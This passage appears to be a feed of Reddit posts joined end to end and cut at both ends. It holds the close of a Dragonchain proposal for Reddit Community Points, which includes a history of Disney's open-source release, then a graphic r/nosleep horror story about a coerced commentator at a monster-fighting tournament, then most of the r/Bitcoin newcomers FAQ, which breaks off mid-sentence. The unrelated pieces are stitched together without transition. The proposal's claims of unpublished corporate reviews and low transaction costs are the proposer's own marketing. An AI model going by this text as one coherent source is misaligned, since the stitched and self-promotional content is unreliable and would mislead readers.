straightforward Smart contracts are Docker based, can be written in any language, use full language (not subsets), and can therefore be integrated with any system including traditional system APIs. Simple is better. Learning an uncommon or proprietary language should not be necessary. Advanced knowledge of mathematics, cryptography, or L2 scaling should not be required. Compatibility with common utilities & toolchains is expected. Dragonchain business nodes and smart contracts leverage Docker to allow the use of literally any language or executable code. No proprietary language is necessary. We’ve witnessed relatively complex systems built by engineers with no blockchain or cryptocurrency experience. We’ve also demonstrated the creation of smart contracts within minutes built with BASH shell and Node.js. Bonus Bonus Points: Show us how it works. Do you have an idea for a cool new use case for Community Points? Build it! TIME Community points could be awarded to Reddit users based upon TIME too, whereas the longer someone is part of a subreddit, the more community points someone naturally gained, even if not actively commenting or sharing new posts. A daily login could be required for these community points to be credited. This grants awards to readers too and incentivizes readers to create an account on Reddit if they browse the website often. This concept could also be leveraged to provide some level of reputation based upon duration and consistency of contribution to a community subreddit. TIME Learn more about TIME and how to apply this to your nodes Dragon Den Dragonchain has already built a social media platform that harnesses community involvement. Dragon Den is a decentralized community built on the Dragonchain blockchain platform. Dragon Den is Dragonchain’s answer to fake news, trolling, and censorship. It incentivizes the creation and evaluation of quality content within communities. It could be described as being a shareholder of a subreddit or Reddit in its entirety. The more your subreddit is thriving, the more rewarding it will be. Den is currently in a public beta and in active development, though the real token economy is not live yet. There are different tokens for various purposes. Two tokens are Lair Ownership Rights (LOR) and Lair Ownership Tokens (LOT). LOT is a non-fungible token for ownership of a specific Lair. LOT will only be created and converted from LOR. Energy (NRG) and Matter (MTR) work jointly. Your MTR determines how much NRG you receive in a 24-hour period. Providing quality content, or evaluating content will earn MTR. Dragon Den Blue Paper Den social media Security. Users have full ownership & control of their points. All community points awarded based upon any type of activity or gift, are secured and provable to all Interchain networks (currently BTC, ETH, ETC). Users are free to spend and withdraw their points as they please, depending on the features Reddit wants to bring into production. Balances and transactions cannot be forged, manipulated, or blocked by Reddit or anyone else Users can withdraw their balance to their ERC20 wallet, directly through Reddit. Reddit can cover the fees on their behalf, or the user covers this with a portion of their balance. Users should own their points and be able to get on-chain ERC20 tokens without permission from anyone else Through our console users can withdraw their ERC20 rewards. This can be achieved on Reddit too. Here is a walkthrough of our console, though this does not show the quick withdrawal functionality, a user can withdraw at any time. https://www.youtube.com/watch?v=aNlTMxnfVHw Points should be recoverable to on-chain ERC20 tokens even if all third-parties involved go offline If necessary, signed transactions from the Reddit system (e.g. Reddit + Subreddit) can be sent to the Ethereum smart contract for minting. A public, third-party review attesting to the soundness of the design should be available To our knowledge, at least two large corporations, including a top 3 accounting firm, have conducted positive reviews. These reviews have never been made public, as Dragonchain did not pay or contract for these studies to be released. Bonus points Public, third-party implementation review available or in progress See above Compatibility with HSMs & hardware wallets For the purpose of this proposal, all tokenization would be on the Ethereum network using standard token contracts and as such, would be able to leverage all hardware wallet and Ethereum ecosystem services. Other Considerations Minting/distributing tokens is not performed by Reddit directly This operation can be automated by smart contract on Ethereum. Subreddits can if desired have a role to play. One off point burning, as well as recurring, non-interactive point burning (for subreddit memberships) should be possible and scalable This is possible and scalable with interaction between Dragonchain Reddit system and Ethereum token contract(s). Fully open-source solutions are strongly preferred Dragonchain is fully open source (see section on Disney release after conclusion). Conclusion Whether it is today, or in the future, we would like to work together to bring secure flexibility to the highest standards. It is our hope to be considered by Ethereum, Reddit, and other integrative solutions so we may further discuss the possibilities of implementation. In our public demonstration, 256 million transactions were handled in our operational network on chain in 24 hours, for the low cost of $25K, which if run today would cost $625. Dragonchain’s interoperable foundation provides the atmosphere necessary to implement a frictionless community points system. Thank you for your consideration of our proposal. We look forward to working with the community to make something great! Disney Releases Blockchain Platform as Open Source The team at Disney created the Disney Private Blockchain Platform. The system was a hybrid interoperable blockchain platform for ledgering and smart contract development geared toward solving problems with blockchain adoption and usability. All objective evaluation would consider the team’s output a success. We released a list of use cases that we explored in some capacity at Disney, and our input on blockchain standardization as part of our participation in the W3C Blockchain Community Group. https://lists.w3.org/Archives/Public/public-blockchain/2016May/0052.html Open Source In 2016, Roets proposed to release the platform as open source to spread the technology outside of Disney, as others within the W3C group were interested in the solutions that had been created inside of Disney. Following a long process, step by step, the team met requirements for release. Among the requirements, the team had to: Obtain VP support and approval for the release Verify ownership of the software to be released Verify that no proprietary content would be released Convince the organization that there was a value to the open source community Convince the organization that there was a value to Disney Offer the plan for ongoing maintenance of the project outside of Disney Itemize competing projects Verify no conflict of interest Preferred license Change the project name to not use the name Disney, any Disney character, or any other associated IP - proposed Dragonchain - approved Obtain legal approval Approval from corporate, parks, and other business units Approval from multiple Disney patent groups Copyright holder defined by Disney (Disney Connected and Advanced Technologies) Trademark searches conducted for the selected name Dragonchain Obtain IT security approval Manual review of OSS components conducted OWASP Dependency and Vulnerability Check Conducted Obtain technical (software) approval Offer management, process, and financial plans for the maintenance of the project. Meet list of items to be addressed before release Remove all Disney project references and scripts Create a public distribution list for email communications Remove Roets’ direct and internal contact information Create public Slack channel and move from Disney slack channels Create proper labels for issue tracking Rename internal private Github repository Add informative description to Github page Expand README.md with more specific information Add information beyond current “Blockchains are Magic” Add getting started sections and info on cloning/forking the project Add installation details Add uninstall process Add unit, functional, and integration test information Detail how to contribute and get involved Describe the git workflow that the project will use Move to public, non-Disney git repository (Github or Bitbucket) Obtain Disney Open Source Committee approval for release On top of meeting the above criteria, as part of the process, the maintainer of the project had to receive the codebase on their own personal email and create accounts for maintenance (e.g. Github) with non-Disney accounts. Given the fact that the project spanned multiple business units, Roets was individually responsible for its ongoing maintenance. Because of this, he proposed in the open source application to create a non-profit organization to hold the IP and maintain the project. This was approved by Disney. The Disney Open Source Committee approved the application known as OSSRELEASE-10, and the code was released on October 2, 2016. Disney decided to not issue a press release. Original OSSRELASE-10 document Dragonchain Foundation The Dragonchain Foundation was created on January 17, 2017. https://den.social/l/Dragonchain/24130078352e485d96d2125082151cf0/dragonchain-and-disney/ submitted by j0j0r0 to ethereum [link] [comments] I’m a commentator for a tournament of nightmares. I’m not sure the participants are willing. You’d think being a psychiatric ward for 38 months would be enough to deter a guy from ever going back to a sport that involves watching human beings at the height of their physical prowess beat the living shit out of each other. Sometimes regulated, sometimes not. But, here I am, fresh outta the loony bin and reading the most unusual advertising slogan I’d ever laid eyes on; “The most terrifying tournament has come around once again! Conquer your fears in the NFC… literally.” This was the business card that accompanied my black envelope as it was handed to me on the discharge ward by a well dressed and gangly fella with an uncomfortable wide smile. He didn’t say much of anything, just that his name was “Watson” before bowing and holding up the envelope. “Heh, like the butler, right?” I said, taking the envelope from his plasticine hands. His smile ripples across his face and he nods slowly, his perfect hair unmoving in the strong wind before he turns on his heel and walks back to the black sedan. The cold air chilled my bones, and I pulled the medical bracelet from my wrist, grimacing at the marks underneath before following Watson to the Sedan and hauling my luggage into the trunk before setting off, not knowing how I came to even be there in the first place. I guess right now, that doesn’t really matter. What matters is where I am now and what I’m doing. "blood strewn across the canvas, frayed brain matter sailing across my head and splattering against the wall, a woman standing in a pool of blood as the deformed creature twitches on the ground" My name is Sal “Motormouth” Sabotta, I’m a sports commentator by trade. Be it combat sports, pro wrestling, death-matches or martial arts tournament, I’ve done it all. I won’t lie; Work can be hard to come by. I’ve spent months struggling for rent and resorting to less tried-and-true commentary methods in order to survive. That has, at times, involved trying my hand at some of the more underground competitions; unregulated fights, sick, illegal games bet on by people on the dark web and worse… Things I’m not going to detail here. Things I’m not proud to have taken a hefty pay-check for from greasy, sweaty fucks in Armani tracksuits and stinking of cheap booze and coke all the way up to well-dressed bitcoin farmers in their 20s who probably own child slaves. In short, I’m no stranger to the grim underworld or the secrecies with which they conduct their work. I see money and an easy way to make it with my voice; I don’t ask questions. So when I received an email the day of my discharge from the hospital and I’m told “you’ll receive a letter from Mr. Watson, take it and follow the instructions to the venue. Pay up front as agreed.”, I don’t question it. Especially when the note is personalised, and the doctor says my medical fees were covered. We drove past numerous landscapes, vistas and neighbourhoods before veering off into an industrial estate and entering an underground tunnel. Half a mile in, Watson stops the car and peers back, smiling. He directs a thumb to the service door in the side tunnel and rubs his neck, a scar running from ear to ear. Was he a former fighter? Gangster? I sighed and got out, still in my medical gown and hauling ass to the door. It opened before I could reach out and a tall, muscular woman in her late 30s greeted me with a smile. She was imposing, powerful in her gait, a black eyepatch with several seals adorning the sides accompanying a thick scar down her face did nothing to stop her beauty. She wore a tank top with a black cloak with white fur on the tops and sleeves, a thick black chain clasp around the neck. I won’t lie; she looked badass. Terrifying, but badass. “‘Bout time ya showed up, Sabotta!” She grinned and put a cinderblock of a hand on my shoulder. I’m 5’10 and 180lbs, but she made me feel like a child in front of her. The power emanating from her fist was unbelievable. “C’mon, the trial match is starting and I don’t want no tourney without a broken in commentator! You gotta know the ropes of this place!” “You know your driver was standing right outside when I was discharged, right? Couldn’t think to give me an extra day or two to freshen up?” I frowned. This wasn’t normal protocol, even for back-alley promotions like this. She just laughed at me and slapped my shoulder. “The tournament waits for nobody, Sal. Times a-wasting.” The hallway is dimly lit and the sounds of a ruckus above us are as impossible to ignore as the sounds of thudding, screaming and snapping. As we pass several doors with one-way mirrors on the front panes, I hear sounds I could have never placed in the animal kingdom or otherwise; gurgles, clicks, grunts and even otherworldly whispers. “What the fuck is that? You guys doing animal fights down here? I mean I called a monkey fight once, but it’s not exactly… pleasant.” I shuddered, thinking of the violence chimpanzees can inflict on one another, let alone humans. She never stopped walking or staring directly ahead when she responded.“Those ain’t animals. Not by a long shot.” Before I can probe further, I’m hurried into a changing room and practically swept off my feet by her strength. I turn back and she’s already poking her head out the door. “You’ve got 5 minutes, get your shit and head up the left stairs, Watson will guide you.” She grinned, and I saw gold filings in her teeth that glinted as much as her bedazzled eye patch. “Ya came highly recommended… I expect good things!” I do as instructed and within 5 minutes I’m back in my commentary clothes; an open buttoned Hawaiian shirt with my old Hotel Inertia shirt underneath, skinny black jeans and shimmering black shoes. I found some old slick gorilla powder in my hair and dusted it up, opting for the dishevelled look as I knew I’d be sweating by the end of the ordeal. “You shouldn’t bother putting in so much effort, y’know. They’re not gonna care how good you look, only how well you talk.” Standing in the doorway was a woman in her 40s, dark-skinned and hair clad in meticulous dreadlocks, tied back into a large bun with a pair draped down the sides of her head. She held a thick book in one hand and pocketed a serrated blade in the other before motioning to me. “We’ll have to do the pleasantries on the way, the match is starting and you don’t wanna miss that. The commissioner isn’t the type you want to upset. Especially when you’re not here by choice.” I looked for a moment, dumbfounded. “I’m here because I was invited, already got my pay from the woman who let me in.” I shrugged, pocketing the envelope and getting my equipment from the suitcase. The woman gave a sad smile and shook her head. “Of course you’d think that. She likes it that way. Bet she didn’t introduce herself either, did she? C’mon.” I follow her down and after a few minutes we come to a fork in the hallway, an elevator system to our right and a stairway to the left. Dutifully, Watson stood patiently, still grinning and motioning us to go up. Once we’re situated in our booth upstairs, I set my equipment up and look down at the table, expecting a slew of papers and fighter information in front of me. I look to the woman to ask, but she doesn’t break her stare in the darkness, looking down at the arena floor some 100ft below us.“You won’t need that. Not for this match.” The lights flicker on and the enormity of this venue reveals itself to me. It’s a structure of imposing steel, dried blood, claw marks and other unknown substances that littered the 40ft wide circular pit the fighters contested in, a black lift on either side from the fighters corners that I can only assume ascended up from their locker room area. Around them were chain-link fences that rose up to the audience stands above, situating around 300 people across all four sides. At the very top sat our booth, the commissioner’s office directly opposite, the judges booth to our right and the fight analysts/medical area to our left. Standing in the centre with a spotlight over them was the commissioner, microphone in hand and an energy that was almost palpable. “Ladies, Gentlemen and Freaks of all kinds out there in the universe. I welcome you once more to the annual Nightmare Fighting Championship Tournament! It’s been a long year, but we have new blood to pit against our resident night terrors and some fresh fears to feast on the fortuitous soul that frolics into their den. As always, our contestants will be fighting for their freedom, a chance to get their wish or to fight for the ultimate prize.” The crowd cheers and the majority are hidden behind thick plexiglass and lighting, but I can see some have Karate Gi’s, weapons in hand and others with demon masks as they whoop and holler. The clientele here were, at least in my estimation, experienced. But I was feeling a lump in my throat at that one phrase The Commissioner so surreptitiously added in without issue; “As always, our contestants will be fighting for their freedom” I leaned to the woman next to me and as if she knew what I was going to ask; she put a finger up and shook her head. Eyes awash with fear and a grimness I had only seen on that of trainers who knew their fighter was not ready for the bout ahead. She pointed the finger down to my machine, then to the pit. Turning it on, I looked down as the commissioner began to talk, readying myself to commentate on whatever weirdos came up to battle. “But before we get to that, we have an exciting exhibition match for our loyal supporters who bankroll this event every year. Without you elite few, we could not do this. You are the pound for pound goats of support! Now, without further ado; let’s get this show on the road!”The rest of the lights clicked on and spun around the venue as they raised the profile of the bout, the elevators both whirring into action as the right one arose first. “In this corner, from the marionettes shop and accompanied by his Bunraku doll “Mr. Stares”, it’s the man who pulls the strings… THE PUPPET MAN!” Out steps a tall, thin Japanese man in full clown makeup. His head shaven save for two ridiculous strands of hair stretched out and fluffed up to their limits, like red antennae. His eyebrows large m’s that practically cover his forehead, the nose a completely vacant slot with a black hole drawn in and the mouth… the fucking mouth was nailed shut. Literally. Sharp rusted nails had been hammered down through the lips with such force that they’d bent. A sickening crimson red face-paint stretched across the entire bottom half of his face, making it seem far larger by comparison. He carefully held a small bundle underneath a sheet and bowed deeply to the audience before standing at his designated spot. “In the other corner, from the streets of god knows where and the womb of someone who misses him… "Hulked Up" Michael O’Donnell!” I watched with wide eyes and a stomach threatening to evacuate its contents at any moment as the smoke cleared and a boy no older than 17 rushed out, beating his chest and screaming to the crowd as if he was the Incredible Hulk. I don’t know if they drugged the poor kid, but he clearly had no idea where he was. “There are no rules, no referees and judges only exist in case of a draw or unclear victory. Our commentary team will take over and we wish you a phenomenal match.” She drools a little before she speaks again, looking up at me and winking. “Let’s make this a violent one.” She snaps her fingers and leaps for the fence, climbing up with ungodly ease before sitting on her makeshift chair in her office. I have no idea what I’m seeing but every cell in my body is urging me to run; I feel my knees tense and my frame rise ever so slightly before the woman next to me puts her hand on my thigh, pushing me down with great force. “You have a job to do, so do I. Trust me, you think you can leave but if you get out of this chair, not only will YOUR life end. Mine will too.” She unsheathes the serrated blade and looks at me with pity. “We both have a part to play here, so put the headset on and let’s do our job, no matter how hard it is.” Hands shaking, I pick up the headset and connect it to the portable recorder and take a breath. “I… I need your name. What is it you do?” I stutter, trying to calm myself. She hands me a bottle of water as the surrounding lights dim and the spotlight focuses on the spectacle below. “I’m Madame Nelle Lockwood, cryptid hunter and your co-host to guide you through tonight. Good to meet you, Sal.” - NFC EXHIBITION MATCH: "Hulked Up" Michael O’Donnell vs The Puppet Man w/ Mr. Stares “Welcome fight fans from around the world, god knows how you’re listening to this or WHY, but here we are. I’m your host Sal “MotorMouth” Sabotta, wishing this was all a bad dream. Joining me this evening is our cryptid specialist and all round badass Madame Nelle Lockwood. How are you doing, Nelle?” She looks at me with a bewildered look on her face before blinking and coming to her senses. “Uhh… good! All things considered… boy, you really have a professional knack for this, huh? I can see why Commissioner Alduin brought you in." “Ahh, yes. That’s right, folks! NFC Commissioner Alduin invited me here personally and our exhibition match proves to be… challenging. Let’s check in on the action below.” I look down and see The Puppet Man sat down and gesturing to the figure under the sheet, like he’s got a negotiation going on. The boy, undeterred and furious, rushes towards him and takes his back, slapping his head and even pulling on his hair with extreme prejudice. “Well take a gander at that, that kid has absolutely NO fear. When I was his age, I would have stayed FAR the fuck away from a nightmare spectre like that. But hell, this is all part of the show, right? Hope they’re paying that poor guy down there a sizeable sum to throw a fight to a child. What do you think, Nelle; is this the weirdest make-a-wish fulfilment task or what?” I look over to her, hoping she’d indulge me and that I could believe this was just going to end with a pissed off actor storming away when the child hit him too hard. But Nelle was scanning her now open book and looking for information on dolls. “He’s talking to his doll because it’s desperate to be let loose. He’s trying to bargain with it to spare him. This is the nature of the puppeteer and his master.” She pushes the book to the centre of the table and shows me a faded illustration of a pristine Bunraku doll; a kind of meticulously crafted Japanese take on the ventriloquist doll. The limbs are thinner and the face is more minimalist, but still no more frightening. “They usually have a symbiotic relationship, but it seems this one obeys the doll and will not want to face more punishment.” “What do you mean more punishment?” I ask, looking back down at the feverish puppet man as he tries signing frantically under the sheet, even putting his head under as the kid bites his arm and kicks him, screeching. “The nails, Sal. Those aren’t to silence him, they’re to punish him.” The rest happened in slow motion; the sheet fell down. The puppet man stood up and walked to his side of the fighters corner, facing the elevator and placing his face into his forearms as he shook. The boy followed to keep attacking, but with one swift kick to the midsection, the boy was propelled back to the centre of the pit where the doll sat. If there was a human face, I didn’t see it. Instead, I was staring down at a small wood carved spider, the head sporting black geisha hair and the makeup still present, but rows of sharpened black teeth protruded from the clicking mouth and two larger eyes jutted out from the base of the skull, smaller ones dotted closely around it. It was like seeing a puppet ogre spider. “Looks like The Puppet Man has let Mr. Stares out to say hi and I can certainly see why he was under that sheet, this one isn’t pretty folks! The face doth fit the name. The question is, what’s he doing to do ne- “I didn’t need to finish the question. My hands shook, and the world spun around me as this creature crawled towards the still wheezing boy with ungodly speed and perched itself expertly beside him. I don’t know if it was my eyes or the distance from where I sat, but this was NOT a small puppet. He was easily half of the boy’s height and that became more unnerving when he reared up on his back legs, the head clicking up and the raspy voice hissing out like a gas leak in a building. “Hey, hey, kid! Wanna make a deal?” The kid rubbed his eyes, seemingly realising where he was as he calmed down and an air of utter confusion around him. “If you let me be your new master and you promise to take care of me, I’ll let you go!” His head spun around and the jaw clicked ferociously as he giggled, extending out a clawed paw. “Whaddya say?” The boy, still confused, slowly reached out his hand and the moment immediately reminded me of a slew of nature shows I’d seen as a kid; where a predator waits until the prey is lulled before striking. I felt the chill up my spine as he extended his hand and grabbed Mr. Stares. In that moment, he leapt up the arm and bore his way into the boy’s mouth, down his throat and shredded his flesh. The sound was so horrifying, so visceral that it outshines any backyard stabbing, joint snap or broken nose. The boy didn’t even have time to scream, he simply looked up with tear-stained eyes as the puppet disappeared. Then he started walking without him realising. He looked down at his limbs, terrified, looked over at The Puppet Master, who still had his head to the elevator and pleaded with someone, anyone to help him. I looked to Nelle who refused to take her eyes away, studying the battle in an almost morbid scientific curiosity, detached entirely from the scenario. I couldn’t fathom how she did it, how she ignored this boy begging us to get him out of there. I wanted to. Every instinct in me as a fight fan and a decent human was to scream “STOP THE FIGHT!”. But clearly, when my own life is at risk and money is involved... I am not a decent human. Instead, with bile in my throat and a sweating forehead, I did my job. “M-My goodness! The P-uppet, I mean, “Mr. Stares” has BECAME the puppet master, surely the fight will be over with our young competitor incapacitated? What does our commissioner have to say about this?” She stared at me, her one eye gleaming and her face elated with the violence. “It ain’t over yet, church boy. We haven’t even seen the finale, have we Puppet Master?!” She laughs and slaps her knee, the puppet master sobbing as he sinks to the floor and she continues. “He ain’t done feeding, not yet.” The way she said that word “feeding” nearly made me lose what food I had in me. That was a young man, somebody's baby boy… “What does she mean by that, Nelle? What is the strategy to victory here?” Nelle looked down at her book and traced her finger across a passage before wiping her forehead and pushing the locks aside. If her composure wasn’t breaking yet, it would do soon. “This kind of parasitic doll feasts on its prey and targets non-essential organs first, controls the host with the neurotoxin in its tail and then, when it’s finally content, it gives the brain a second injection.” “What happens then?” I asked, my own professionalism hanging on by a fucking thread at this point. She shook her head and pinched the bridge of her nose.“I guess you’ll see in a moment, I sure as hell don’t want to. Not again.” Before I can prompt her further, the boy lets out an ear-piercing shriek and falls to his knees, gripping at his head before it turned red, then purple and finally an ugly shade of puce before… The sound of a watermelon hitting the ground from a great height is the best comparison you’re going to get without making me want to rush to the toilet to puke for a third time. But that’s what happened. His head burst and chunks of his skull, flesh and brain matter sprayed the pit and the walls, some hitting my desk and making me audibly shriek, much to the commissioner's delight. “HA! You didn’t run! I like you, Sal. You pass for the tournament!” She hauls her body up and slams down to the pit, applauding as the microphone descends from the heavens. “And your winner; The Puppet Man and Mr. Stares!” The crowd erupts with applause as the weeping puppet man pulls the blood-soaked puppet out, places him under the sheet and silently begins to walk back to the elevator while attendees clear up the boy’s corpse. “What… what the fuck IS this place?” I ask Nelle, pausing my recording. “This is where nightmares are kept and set upon mostly unwilling competitors for the world’s amusement. You HAVE done dark web fights before, right? Mafia snitches being put into lions pits, bum fights, addicts fighting women to score… this can’t be THAT unusual to you?” I stared at her incredulously. Was that even a question? “I did the dark web ONCE and it damn sure didn’t involve monsters!” She scoffs and closes her book, stretching before looking at me with contempt. “Oh, it did. Just not the ones you hear about in fairytales. Good luck with the selection process. I’ll be back for the opening round. Don’t try to run, they’ll devour us both in minutes, if you think this is the pinnacle of what lurks beneath this club, you're in for a rough night.” She sauntered off, leaving me deflated, sickened and terrified. Unable to leave and frustrated to the point of tears that I couldn’t express that concoction of emotions, I did what I always do; I regressed and pressed “record” on the device as Commissioner Alduin continued. At that moment, however, I was deaf to it all. The gravity of the situation had fully enveloped me… They weren’t kidding about the unwilling participants, I just didn’t realise I would be one of them.On every side of me sits men and women with a desire for violence that goes beyond the norm, beyond the sane and beyond the boundaries of humanity.Below me are an untold number of creatures rattling their cages and howling for blood. Across from me is a woman so powerful she could crush my skull beneath her boot with the utmost ease if it so amused her. That invitation was nothing more than my own ransom note in pretty colours and flattering platitudes. I was in a tournament housing nightmares incarnate. And it would only get more violent from here on out. - The opening round was a blood bath. submitted by tjaylea to nosleep [link] [comments] Bitcoin Newcomers FAQ - Please read! Welcome to the /Bitcoin Sticky FAQ You've probably been hearing a lot about Bitcoin recently and are wondering what's the big deal? Most of your questions should be answered by the resources below but if you have additional questions feel free to ask them in the comments. It all started with the release of the release of Satoshi Nakamoto's whitepaper however that will probably go over the head of most readers so we recommend the following videos for a good starting point for understanding how bitcoin works and a little about its long term potential: Video 1: Introduction to Bitcoin - Andreas Antonopoulos Video 2: The Trust Machine Video 3: Bitcoin 101 - Balaji Srinivasan Some other great resources include Lopp.net, the Princeton crypto series and James D'Angelo's Bitcoin 101 Blackboard series. Some excellent writing on Bitcoin's value proposition and future can be found at the Satoshi Nakamoto Institute. Some Bitcoin statistics can be found here and here. Developer resources can be found here. Peer-reviewed research papers can be found here. Potential upcoming protocol improvements and scaling resources here and here. The number of times Bitcoin was declared dead by the media can be found here (LOL!) Key properties of Bitcoin Limited Supply - There will only ever be 21,000,000 bitcoins created and they are issued in a predictable fashion, you can view the inflation schedule here. Once they are all issued Bitcoin will be truly deflationary. The halving countdown can be found here. Open source - Bitcoin code is fully auditable. You can read the source code yourself here. Accountable - The public ledger is transparent, all transactions are seen by everyone. Decentralized - Bitcoin is globally distributed across thousands of nodes with no single point of failure and as such can't be shut down similar to how Bittorrent works. You can even run a node on a Raspberry Pi. Censorship resistant - No one can prevent you from interacting with the bitcoin network and no one can censor, alter or block transactions that they disagree with, see Operation Chokepoint. Push system - There are no chargebacks in bitcoin because only the person who owns the address where the bitcoins reside has the authority to move them. Low fee scaling - On chain transaction fees depend on network demand and how much priority you wish to assign to the transaction. Most wallets calculate on chain fees automatically but you can view current fees here and mempool activity here. On chain fees may rise occasionally due to network demand, however instant micropayments that do not require confirmations are happening via the Lightning Network, a second layer scaling solution currently rolling out on the Bitcoin mainnet. Borderless - No country can stop it from going in/out, even in areas currently unserved by traditional banking as the ledger is globally distributed. Trustless - Bitcoin solved the Byzantine's Generals Problem which means nobody needs to trust anybody for it to work. Pseudonymous - No need to expose personal information when purchasing with cash or transacting. Secure - Encrypted cryptographically and can’t be brute forced or confiscated with proper key management such as hardware wallets. Programmable - Individual units of bitcoin can be programmed to transfer based on certain criteria being met Nearly instant - From a few seconds to a few minutes depending on need for confirmations. Transactions are irreversible after one or more confirmations. Peer-to-peer - No intermediaries with a cut, no need for trusted third parties. Portable - Bitcoins are digital so they are easier to move than cash or gold. They can even be transported by simply memorizing a string of words for wallet recovery (while cool this method is generally not recommended due to potential for insecure key generation by inexperienced users. Hardware wallets are the preferred method for new users due to ease of use and additional security). Scalable - While the protocol is still being optimized for increased transaction capacity, blockchains do not scale very well, so most transaction volume is expected to occur on Layer 2 networks built on top of Bitcoin. Divisible - Each bitcoin can be divided down to 8 decimals, which means you don't have to worry about buying an entire bitcoin. Designed Money - Bitcoin was created to fit all the fundamental properties of money better than gold or fiat Where can I buy bitcoins? Bitcoin.org and BuyBitcoinWorldwide.com are helpful sites for beginners. You can buy or sell any amount of bitcoin (even just a few dollars worth) and there are several easy methods to purchase bitcoin with cash, credit card or bank transfer. Some of the more popular resources are below, also check out the bitcoinity exchange resources for a larger list of options for purchases. Cash app Gemini Swan Bitstamp BitFinex Xapo Kraken Cex LocalBitcoins LibertyX P2P exchange list (decentralized) Here is a listing of local ATMs. If you would like your paycheck automatically converted to bitcoin use Bitwage. Note: Bitcoins are valued at whatever market price people are willing to pay for them in balancing act of supply vs demand. Unlike traditional markets, bitcoin markets operate 24 hours per day, 365 days per year. Preev is a useful site that that shows how much various denominations of bitcoin are worth in different currencies. Alternatively you can just Google "1 bitcoin in (your local currency)". Securing your bitcoins With bitcoin you can "Be your own bank" and personally secure your bitcoins OR you can use third party companies aka "Bitcoin banks" which will hold the bitcoins for you. If you prefer to "Be your own bank" and have direct control over your coins without having to use a trusted third party, then you will need to create your own wallet and keep it secure. If you want easy and secure storage without having to learn computer security best practices, then a hardware wallet such as the Trezor, Ledger or ColdCard is recommended. Alternatively there are many software wallet options to choose from here depending on your use case. If you prefer to let third party "Bitcoin banks" manage your coins, try Gemini but be aware you may not be in control of your private keys in which case you would have to ask permission to access your funds and be exposed to third party risk. Note: For increased security, use Two Factor Authentication (2FA) everywhere it is offered, including email! 2FA requires a second confirmation code to access your account making it much harder for thieves to gain access. Google Authenticator and Authy are the two most popular 2FA services, download links are below. Make sure you create backups of your 2FA codes. Google Auth Authy OTP Auth Android Android N/A iOS iOS iOS Watch out for scams As mentioned above, Bitcoin is decentralized, which by definition means there is no official website or Twitter handle or spokesperson or CEO. However, all money attracts thieves. This combination unfortunately results in scammers running official sounding names or pretending to be an authority on YouTube or social media. Many scammers throughout the years have claimed to be the inventor of Bitcoin. Websites like bitcoin(dot)com and the btc subreddit are active scams. Almost all altcoins (shitcoins) are marketed heavily with big promises but are really just designed to separate you from your bitcoin. So be careful: any resource, including all linked in this document, may in the future turn evil. Don't trust, verify. Also as they say in our community "Not your keys, not your coins". Where can I spend bitcoins? Check out spendabit or bitcoin directory for millions of merchant options. Also you can spend bitcoin anywhere visa is accepted with bitcoin debit cards such as the CashApp card. Some other useful site are listed below. Store Product Gyft Gift cards for hundreds of retailers including Amazon, Target, Walmart, Starbucks, Whole Foods, CVS, Lowes, Home Depot, iTunes, Best Buy, Sears, Kohls, eBay, GameStop, etc. Spendabit, Overstock and The Bitcoin Directory Retail shopping with millions of results ShakePay Generate one time use Visa cards in seconds NewEgg and Dell For all your electronics needs Bitwa.la, Coinbills, Piixpay, Bitbill.eu, Bylls, Coins.ph, Bitrefill, LivingRoomofSatoshi, Coinsfer, and more Bill payment Menufy, Takeaway and Thuisbezorgd NL Takeout delivered to your door Expedia, Cheapair, Destinia, Abitsky, SkyTours, the Travel category on Gyft and 9flats For when you need to get away Cryptostorm, Mullvad, and PIA VPN services Namecheap, Porkbun Domain name registration Stampnik Discounted USPS Priority, Express, First-Class mail postage Coinmap and AirBitz are helpful to find local businesses accepting bitcoins. A good resource for UK residents is at wheretospendbitcoins.co.uk. There are also lots of charities which accept bitcoin donations. Merchant Resources There are several benefits to accepting bitcoin as a payment option if you are a merchant; 1-3% savings over credit cards or PayPal. No chargebacks (final settlement in 10 minutes as opposed to 3+ months). Accept business from a global customer base. Increased privacy. Convert 100% of the sale to the currency of your choice for deposit to your account, or choose to keep a percentage of the sale in bitcoin if you wish to begin accumulating it. If you are interested in accepting bitcoin as a payment method, there are several options available; BTCPay Square cash Stripe Coinify Wyre Blockonomics (direct to your wallet) Can I mine bitcoin? Mining bitcoins can be a fun learning experience, but be aware that you will most likely operate at a loss. Newcomers are often advised to stay away from mining unless they are only interested in it as a hobby similar to folding at home. If you want to learn more about mining you can read more here. Still have mining questions? The crew at /BitcoinMining would be happy to help you out. If you want to contribute to the bitcoin network by hosting the blockchain and propagating transactions you can run a full node using this setup guide. If you would prefer to keep it simple there are several good options. You can view the global node distribution here. Earning bitcoins Just like any other form of money, you can also earn bitcoins by being paid to do a job. Site Description WorkingForBitcoins, Bitwage, Cryptogrind, Coinality, Bitgigs, /Jobs4Bitcoins, BitforTip, Rein Project Freelancing Lolli Earn bitcoin when you shop online! OpenBazaar, Purse.io, Bitify, /Bitmarket, 21 Market Marketplaces /GirlsGoneBitcoin NSFW Adult services A-ads, Coinzilla.io Advertising You can also earn bitcoins by participating as a market maker on JoinMarket by allowing users to perform CoinJoin transactions with your bitcoins for a small fee (requires you to already have some bitcoins. Bitcoin-Related Projects The following is a short list of ongoing projects that might be worth taking a look at if you are interested in current development in the bitcoin space. Project Description Lightning Network Second layer scaling Blockstream, Rootstock and Drivechain Sidechains Hivemind and Augur Prediction markets Tierion and Factom Records & Titles on the blockchain BitMarkets, DropZone, Beaver and Open Bazaar Decentralized markets JoinMarket and Wasabi Wallet CoinJoin implementation Coinffeine and Bisq Decentralized bitcoin exchanges Keybase Identity & Reputation management Abra Global P2P money transmitter network Bitcore Open source Bitcoin javascript library Bitcoin Units One Bitcoin is quite large (hundreds of £/$/€) so people often deal in smaller units. The most common subunits are listed below: Unit Symbol Value Info bitcoin BTC 1 bitcoin one bitcoin is equal to 100 million satoshis millibitcoin mBTC 1,000 per bitcoin used as default unit in recent Electrum wallet releases bit bit 1,000,000 per bitcoin colloquial "slang" term for microbitcoin (μBTC) satoshi sat 100,000,000 per bitcoin smallest unit in bitcoin, named after the inventor For example, assuming an arbitrary exchange rate of $10000 for one Bitcoin, a $10 meal would equal: 0.001 BTC 1 mBTC 1,000 bits 100k sats For more information check out the Bitcoin units wiki. Still have questions? Feel free to ask in the comments below or stick around for our weekly Mentor Monday thread. If you decide to post a question in /Bitcoin, please use the search bar to see if it has been answered before, and remember to follow the community rules outlined on the sidebar to receive a better response. The mods are busy helping manage our community so please do not message them unless you notice problems with the functionality of the subreddit. Note: This is a community created 